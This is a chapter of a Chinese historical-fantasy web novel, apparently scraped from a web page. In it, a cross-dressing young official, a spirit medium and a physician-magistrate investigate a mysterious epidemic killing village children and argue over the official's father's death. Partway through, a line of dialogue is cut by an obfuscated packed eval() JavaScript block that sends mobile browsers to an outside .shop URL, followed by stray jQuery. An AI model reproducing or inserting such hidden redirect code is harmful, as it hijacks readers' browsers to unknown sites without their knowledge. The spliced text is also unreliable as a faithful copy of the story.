“有病吧?!”
三个人异口同声对着王兰清。
这一词原是祝弥爱说。桓错缠着她要西行,她这么骂他。庾彦庭服了散要上天,她这么骂他。王洵乐做了坏事想找山长自首,她这么骂他。相处久了,口癖是会传染的。
“这也大惊小怪,真没见过世面,亏还是会稽来的。呵呵。”
娇俏女郎一句话又出口,好心地供众人再次确认没有幻听,确实是格外低沉沙哑的嗓音,就像是有磨砂纸拂过手臂,让人想抓痒。
另外三位果真各有各地在龇牙咧嘴、抓耳挠腮、皱眉深思。
王兰清预料得到这种反应,翻了个白眼,不以为意继续道:“我是说,以翼火为首的那几个会使些邪门诡技的流民,昨夜拖着这手脚不便的小子撤退失利,被我一锅端了。”说着抬眼指了指祝弥。
原来他不说话只是不想破坏自己精心装扮出来的高挑纤细美娇娘形象,毕竟这一口天生烟嗓……
不说话也是为旁人着想,人还怪好心的……不对,反差也太大了些!
其余人还在咋舌,祝弥反应飞快,道:“哪有一锅端,不是还跑了一个吗?”
王兰清瞪她一眼,“那不是你大吼大叫声东击西了吗?我还纳闷怎么多出一个人。”
桓错问:“那陆伯是?”
陆同光说:“就是我父亲。半月前野外遭遇了他们,被他们所害……”
庾彦庭目光逡巡了王兰清一圈,吞吞口水,问:“那你这是?”
王兰清甩了甩轻飘飘的袖子,骄傲地扬起了下巴:“就说我扮的女郎是否以假乱真吧。哼,我家婢女说了我比山阴里的女郎还要娇俏可人。”
槽点太多,众人整齐有序守礼克制挨个吐槽——
“你家婢女去的是哪座山的山阴。”桓错面无表情。
“有给他看过脑子否?”祝弥则忧心忡忡问向陆同光。
陆同光摇摇头,只道是孩子从小做事就出格,长大了更加无法无天了。如今功课不就就钗裙,他这个先生见了竟也不足为奇。
庾彦庭盯着王兰清的头顶,笑得意味深长:“呵呵,我家桓郎扮起来都比你好看。”
王兰清:“不可能!他那么高!”
“你也知道你矮啊!侏——儒——”
王兰清咬牙气道:“反正我比那边那个高!”说着挑眉直勾勾瞟了一下正和陆同光说话的人。
莫名被波及比较、对方还一脸挑衅的姿态,祝弥还没发作,桓错先拦在前面,睁着眼睛说瞎话:“她比你高。”
庾彦庭歪嘴一笑:“她扮起来也比你好看——”忽然又皱眉嫌弃,“哎呀你真别说话了,我听你这一口鸭子嗓浑身不舒服!”
“别仗着你们人多就可以欺负人!臭外地的!”舌战群儒败下阵来的王兰清气得连连捶手,襦裙宽袖像只黄白色大蝴蝶扑翅。
祝弥才发觉这人从一见面就对自己格外轻蔑是因为身高,到底还是没忍住,从桓错身后探出脑袋为自己争口气:“王兰清,来单挑!”
“来就来!怕你吗?!”
桓错一脸欣慰地给祝弥递上她自己的刀,庾彦庭看热闹不嫌事大,回头四处找另一把。
“别闹了。”陆同光没收了一切刀具,润物细无声地阻止了这一场闹剧。
眼下还有更焦急的事情,几人思绪转圜过来,专注于眼下疫童暴亡的事情。
庾彦庭先和陆同光解释了祝弥是乩童、有阴阳眼这件事。
陆同光结合了一下在女孩家里祝弥和他交谈的耳语,讶然一声:“先前你和我说的,也许是我走家访户,过了疫气给新的孩子,让我先别和孩子接触……”
祝弥对上陆同光的目光,嘴唇翕动几下,似是有话又憋住,最终泄了气似地蹲在地上,挠自己的头。
“我不知道。越往这边走,大家身上的鬼越来越多了,多得我几乎分辨不出来有几只、哪只是哪人的鬼……其实进了村我眼前就总是灰蒙蒙的像是有浓雾,有时候远了几步都怕找不到你们,只是凭着声音……”
她没有说得太清楚,这个疫村人口密度高,一整片的屋檐瓦顶上空,藤蔓似地扭缠着一条条相通又盘根错节的黑气。假如那个被寂照物理超度的老者身上的鬼的浓烈程度称为一个节点,那这个村里,就还有数十个相似的节点。
是数量多,还是执念重?又或者……有东西像是怀真那样,被一道符给激活了?
庾彦庭和桓错一阵心惊,连忙扶起她。
“你怎么不早说?!”
“皓云,给我找根长长的绳子来。”
祝弥瞪二人一眼:“一个一进村就睡觉,另一个难得摆出正经模样做正经事。我就想再观察观察嘛,反正我见鬼也不是一天两天了!”
陆同光思虑一番,踌躇开口,“我确实能感觉出孩子们……他们气绝脉止的那一瞬间,有一些不寻常出现,甚至让我有点脱力……还总莫名想到我父亲——”
“快去扶陆县令坐好,他真是累到了。”祝弥直接使唤起身边两人,转而思索起别的事情道,“今日我看的那三个孩子虽然没有‘孤阳外脱’的急兆,命是暂且留下了,可也依旧高烧反复,要痊愈如初还远得很呢。”
撑着陆同光上座,顺手还给他倒了一杯水,桓错向庾彦庭甩来一个凉凉的眼神:“你不是个道士么,来了这里一天,算不出来这里有异吗?”
庾彦庭气不打一处来,粗鲁地转了转腰间的小罗盘。其中指针像无力下垂的手臂,没有意义地轻轻摇晃。“这玩意指的是方位啊……身在此山中,哪还能准了。我他阿耶的真以为一切正常呢、我是说,我以为这只是普通疫症。”
这时,皓云按照祝弥要求的整理好了村中孩童急病的信息,送了进来。几人便围在桌子前一起研究其中规律。
病亡的孩子有男有女,有大有小,村头一个村尾一个,家境也有贫有富,乍一看也看不出什么特别的。
身为讲究辨证论治、探究疾病本质的医师,陆同光不用“疫症”而是用虚无缥缈的“戾气”一词形容这一场怪异,是因为这些病例古怪之处超出了他理解能力范围:不是所有孩子都无差别染疫,特别是在多子家庭中,明明同在一个屋檐下,却是这个病入膏肓,那个全然无事。
而作为疾病的疫症不是这样的。如此凶险夺命的疫症,一死就是一片,才不会大发慈悲般地跳过某些人,又不是真有佛祖保佑。
就像祝弥去的第一个家庭,弟弟病了,同吃同住的姐姐却无事——为什么?
难不成,佛祖真的只保佑了姐姐吗?
所以陆同光认为,或许是时疫历久弥新,滋生出了戾气横行。因为他近日一连接触了这么多孩子,自己也像是被某种低压气场笼罩,格外容易精疲力竭,于是放弃追本穷源,转而建议村民火葬病死的孩子尸身。
毕竟,不管是时疫还是戾气,不管有什么原因挑选对象感染,总归是附着在孩子们身上的,索性一把火全烧了,斩草除根。
不出所料被人赶了出来,还是臭骂一通。
祝弥忽然想到今日那小女孩求佛一事,对着桓错和庾彦庭:“你们能再探点隐私的吗?我想知道,死去的孩子在家中事无巨细的境地,特别是那些一子病亡一子无事的多子家庭里,大人对待不同孩子的态度。”
至少,孩子逝去,家家户户都在哭。
都是捧在手里怕化了的宝贝呢。
桓错和庾彦庭眼神对峙了一番,最终庾彦庭起身离席,一边走一边摇着脑袋:“谁让本公子左右逢源妙语连珠善解人意、天生地就是让人易亲近信任呢。比某些变脸大王不知强了多少倍。”
桓错目送他:“梦成身边总得留一个人。”
“他们两个好像你的兄长啊祝梦成。”磨砂纸般的声音风凉地响起,还要补上一声嘲讽的“呵呵”。
祝弥都懒得抬眼瞅他,“太守大人又要和我比吗?”
她算是发现了,王兰清对桓庾二人反倒没那么大的敌意或竞争意识。这人从一出现,注意力就只在自己身上,还是十分看不起的那种!原本还以为扮演女郎的他是看上了桓错嫌自己多事来着。不由得心下暗诽:总不能是因为身高吧,自己是他唯一比得过的对象……?
王兰清:“哼,这福气还是你自己留着吧。”
陆同光也风凉一声:“兰清可是消受过头了,是吧。”
王兰清:“……”
“父亲的丧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299050|195123||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
期里不去守灵扶柩,不披麻戴孝的就算了,你做成这副模样是为何?跑到夏口狐假虎威来了。兰清,我什么时候教过你这个?”陆同光的声音骤然变冷。
“我是来抓‘雀’的!不也抓到了几个嘛……”说着说着,王兰清气势低了下来,不再做辩解,只喃喃道,“而且……反正我只会把家里弄得鸡犬不宁,不在他们面前惹他们心烦才是我的孝心苦心,哼……”
“……我走了,大家心里要多畅快有多畅快。”
陆同光:“怎么会,就是因为太守对你抱有期望——”
“期望?!笑话,他明明是被我气死的!”讲到痛处,王兰清骤然起身,扬声冷笑,“陆先生,你去问问他,他的期望在哪?为何没有对我说过一句好话?最后那句‘我不想再见到你’是什么意思?!对了——”
又忽然转头抓着祝弥的手,“你不是能扶乩吗?你和我去武昌,去告诉我父亲,从哥哥们手下逃掉的那些人都被我一一射杀了。你替我问问他,能不能像看哥哥们那样看看我?还生不生我的气?”
那人盛怒之下力气很大,祝弥没反应过来险些被他拖着走了,幸得桓错手快,稳稳抓住她另一手。三人陷入一时平衡的拉扯姿态。
双臂平展至最宽的祝弥:“?”
桓错一个眼刀甩过去:问过乩童的兄长的同意没有。
王兰清自觉失态,便冷静几秒,默默放了手,哼了一声扭头不看任何人。
这一日的相处下来,桓错也找人了解了这个“女太守”王兰清的来路。原来,王兰清在家中行三,最年幼,武昌人称太守家的王幺郎,平日里就是恣意妄为惯了,一个活脱脱的纨绔。顶上两个亲兄长能干事,正在武昌忙得脱不开身,而他不必承担家族职责使命,趁人不备偷了家中的太守令,决心做出一点“政绩”,给兄长们看。
家里人在忙,忙的是他们父亲王老太守的丧事。
据说,王老太守气亡的那一日,去某歌舞升平的酒肆里寻他。不知当时哪处风声关窍没搭对,老太守竟撞见他正一袭女装,轻佻浮艳,还故作风情地向旁人邀酒寻乐。“父慈子孝”、鸡飞狗跳的场面自不用多说。武昌一时之间人人风传:那日王老太守带人回家,睡了个午觉之后就再没醒来。
只道是孽子气煞老翁。
流言风声没敢传多久,新上任的“女太守”雷厉风行,不光打击闲得没事嚼舌根的人,还刻苦追击流民团伙“雀”的残部,也算是为民做实事了。
“雀,”祝弥念出这这个字都忍不住笑了,“那是不是还有虎龙和乌龟啊?”
“或许是吧。”王兰清一脸认真,和他们补充了武昌郡的近日状况。
活跃在武昌的闹事流民似有层级组织,还像模像样地地纪律严明。平定起来还颇费了老太守的一番心力。和他们交手一场下来,老太守察觉“雀”的消息格外灵通,便分别下发给了几个部下不相通的调兵布阵信息,围剿雀的那晚,偏偏只有儿子们率领自家府兵去的敌方营地扑了空,让逃了三个雀的骨干成员。
走漏的风声竟是出自院墙内。成熟稳妥、谨慎可靠的大儿子二儿子自不用说,跟着他行兵征战多年,既骁勇也善谋,更不可能有异心。
剩下最小的那个,难得这回老太守想历练他,结果逆子一穿上盔甲就嫌重,嘴上还万分不情愿地念着:有兄长们去了何必要他也跟去——岔子只能出在他那里了——有人私下和太守进言,点卯集结的时候王幺郎迟了半个刻钟,身上还有酒味。
翌日的战果一上报,老太守勃然大怒,提着把刀就去酒肆找人。
……
再然后,就是王家的讣告贴遍武昌。
人人唏嘘不已。
“可我自从得到夏口有‘雀’的消息以来,马不停蹄追踪至此已经杀了翼火和星日,就差个胆小不担事的鬼金,谅他独身一人也掀不出什么风浪。他若还敢冒头,我斩他二十次都不解气——我想说的是,虽然我喝酒玩乐不爱戎装爱女装,可兰清,从未背叛过父亲。”
话说完了,低而暗哑的嗓音消散在屋内的每一个角落。
此刻的王兰清眼观头顶目中无人,只要不说话,就还是那副下巴比天高的娇气傲慢女郎的模样。